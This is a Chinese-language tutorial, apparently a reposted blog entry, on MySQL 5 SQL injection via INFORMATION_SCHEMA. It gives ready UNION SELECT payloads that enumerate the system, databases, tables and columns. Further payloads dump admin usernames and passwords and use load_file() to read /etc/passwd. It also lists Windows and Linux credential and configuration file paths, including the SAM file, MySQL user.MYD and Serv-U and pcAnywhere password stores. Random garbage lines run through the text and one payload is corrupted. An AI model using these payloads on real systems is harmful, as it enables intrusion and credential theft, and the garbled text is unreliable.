mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

! B$ e2 j4 |9 D! a% }
# D; N1 [" \, V# P6 K4 q3 i$ [; ^
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
; `9 z9 K0 x0 _% M, L中记录了Mysql中所有
6 }7 j' i8 }" o; A* J存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
8 [! E" ~* d! x) k; x明。
* f  j3 i$ p/ j' C  Q9 E1 B1.得到所有数据库名：
9 X. ]* `% O+ w  D* ?' [|SCHEMATA ->存储数据库名的表
: ]7 f) x0 H6 ~1 T9 F5 V" Y4 K|—字段：SCHEMA_NAME ->数据库名称
7 H! U  U0 l* M* K. a
|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|—字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称

1 @6 s: m2 W& ]0 @! b|—字段：COLUMN_NAME ->该字段的名称
" Y4 P2 `  Z  w* ~
#########################################################################
##

0×001 获取系统信息:
1 m7 X+ ]0 v. v4 ^, L7 L
union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
& a$ ?( _% }& n0 q) G+ l- k(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
# o: ]" @& m6 R( a) ^6 A6 |
0 a1 y' b; q/ w  y6 }& k7 T@@global.version_compile_os 获取系统版本

: B! ]. Z; Z6 E: m% ]@@datadir 数据库路径
/ G) x; Z' [" x- d" L3 ?database() 当前数据库名称
1 K5 Z2 s: N5 R! f& J, J% N5 s! h; K0x3c62723e 换行HEX值

*/
+ s# M  |3 Z9 w4 [" b
0 Y9 U9 Z4 X1 ]* {  q; E. i######################################################################
% ]0 y2 \; N* A4 b
7 m! T' v8 U/ b7 l& k+ R0×002 获取表名
/ w. s4 a! I6 Y! J
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*

9 ?( r# s. l& i, b9 c+ `/*

0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
$ U+ Y( j0 u; E' M+ z) ]9 R
*/
5 x/ ?2 y, ]+ B. e* `
######################################################################
" `, z; m8 y$ k) |' e
0×003 获取字段
- d+ \5 Y, b( a( ~. [( o% S' k  Y- h# u) P
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
+ O* J) H5 a4 U1 q# @. [information_schema.columns where table_name=0x61646d696e and

& z" ~& {) D6 e8 C
! L/ ~2 Y) q  ^, htable_schema=0x67617264656e limit 1 /*

/*
& `# o8 d7 r; {% ^" c1 k" K* `
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
! J* _& A( C+ q$ c6 z# v" W, J
. O. m3 A% G1 A5 d' g: X1 A9 Z0x61646d696e ->选择一个表
) U5 ~+ Y0 u+ c) B1 \: g7 c0 Y
0x67617264656e ->数据库名
( ~3 G7 V0 ~: T& K1 n! s- ?$ u( k/ n
*/
! K( f$ J4 m4 n
#####################################################################

0×004 获取数据
' B- m. H1 ^5 ^- K
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
. L  P2 C. {  U' [$ F
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
2 t" Z" C; K; Q: v(adpassword),6,7,8 from admin

1 ?/ h# |2 j# R; h/*

5 s8 K& W/ i! |- f8 y0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据
7 B( c+ B6 x4 I  p) B  v
*/



2 T$ E% [8 B: e, j& J: N
; L2 v1 O: k7 ~6 T3 Q( j
顺便添加一些mysql注入时非常有用的一些东西
, J5 u- k4 p' J* Z/ j
简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
, X* l) t" \4 C2 q( ]( A# L
1:system_user() 系统用户名
2:user()        用户名
7 U  t/ K% _$ M: x9 p4 A3:current_user()  当前用户名
4:session_user()连接数据库的用户名
5:database()    数据库名
6:version()     MYSQL数据库版本
; Z% P/ J+ H/ x- q' V* Q# P7:load_file()   MYSQL读取本地文件的函数
6 ~$ S+ ~+ g  B+ p+ r" A* D& e8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
% @9 X2 z/ m. H  r' }. k收集的一些路径：
WINDOWS下:
# x7 D/ ]  h, Tc:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
, ^! z; s7 U" \+ X7 f7 D; _c:/winnt/my.ini
$ R- m! Y. r! n  s  _: m: Zc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
! w, r2 I( Q/ Z9 D0 ^# G/ O8 Sc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
8 L/ s3 R5 ^$ h. Q- B5 m* A2 ic:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
0 n) R1 p+ @9 e! e4 \, ^0 cc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
; g$ h; R- u' J2 V0 o1 Oc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
5 u8 |3 T% \5 U/ U* Jc:\Program Files\RhinoSoft.com\ServUDaemon.exe
# S1 N7 r" M4 X# Q) f5 E& D; cC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
! p) E$ _7 Y, b+ [0 F8 U
6 Q* q8 A, v  W3 @% O6 q
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
# z2 d5 Y, k9 D; }d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
( F4 T6 c* S: z( M. ]+ o/ m9 ic:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
3 S5 x' S& p5 e$ O! b% l+ q
LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
: \# Y5 X3 }9 t) W! L/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
5 }5 C) S6 r5 B) `$ |0 \# x  x/etc/my.cnf //mysql的配置文件
) g' p6 E: m! \8 }6 W/etc/redhat-release //系统版本
/etc/issue
" \) {8 i; r+ J$ R6 z& W/etc/issue.net
1 N$ F' J/ D; w, a4 z/usr/local/app/php5/lib/php.ini //PHP相关设置
" d/ u( S3 B5 W& H/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
+ X  K' R3 n. u6 W/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
6 C  k0 v' T3 b' P) k: c- r# w4 k/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
* S, F: _7 O3 w" b; M- j9 w/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
% N6 ~: Z5 ~. D1 k' b; D# Q/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
8 k- W( B% O6 a9 ~" n. Oreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
9 y$ c; H; R" y2 B# E7 o) @, A. r% i8 |replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.